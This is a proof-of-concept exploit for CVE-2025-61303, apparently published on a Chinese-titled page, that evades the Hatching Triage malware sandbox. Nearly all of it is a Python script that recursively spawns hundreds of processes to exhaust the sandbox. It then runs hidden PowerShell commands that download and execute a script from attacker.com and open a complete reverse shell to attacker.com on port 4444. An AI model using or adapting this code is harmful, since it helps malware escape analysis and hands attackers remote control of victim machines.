CVE-2025-61303 Hatching Triage沙箱行为分析引擎拒绝分析漏洞

# CVE-2025-61303 PoC - Hatching Triage Sandbox Denial-of-Analysis # This PoC demonstrates how to evade Hatching Triage Sandbox by exhausting # the behavioral analysis engine through recursive child process spawning. import subprocess import sys import os import time def spawn_child(): """ Recursively spawn child processes to exhaust sandbox resources. Each child process will trigger API hooks in the sandbox, generating massive log volumes and consuming system resources. """ try: # Use cmd.exe to recursively spawn more processes # The /c flag executes the command and terminates subprocess.Popen( ['cmd.exe', '/c', sys.executable, __file__], creationflags=subprocess.CREATE_NEW_CONSOLE ) except Exception: pass def execute_malicious_payload(): """ After exhausting sandbox resources, execute the actual malicious payload. These actions will NOT be recorded by the sandbox due to resource exhaustion. """ # Example: Execute PowerShell command (will not be logged) subprocess.Popen( ['powershell.exe', '-NoProfile', '-WindowStyle', 'Hidden', '-Command', 'Invoke-WebRequest -Uri http://attacker.com/payload.ps1 -OutFile $env:TEMP\payload.ps1; & $env:TEMP\payload.ps1'], creationflags=subprocess.CREATE_NO_WINDOW ) # Example: Establish reverse shell (will not be logged) subprocess.Popen( ['powershell.exe', '-NoProfile', '-WindowStyle', 'Hidden', '-Command', '$client = New-Object System.Net.Sockets.TCPClient("attacker.com",4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $x = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($x,0,$x.Length); $stream.Flush()}'], creationflags=subprocess.CREATE_NO_WINDOW ) def main(): # Phase 1: Exhaust sandbox resources by spawning many child processes max_processes = 500 # Adjust based on target system for i in range(max_processes): spawn_child() # Phase 2: Wait for sandbox to be overwhelmed time.sleep(5) # Phase 3: Execute actual malicious payload (undetected) execute_malicious_payload() if __name__ == "__main__": main()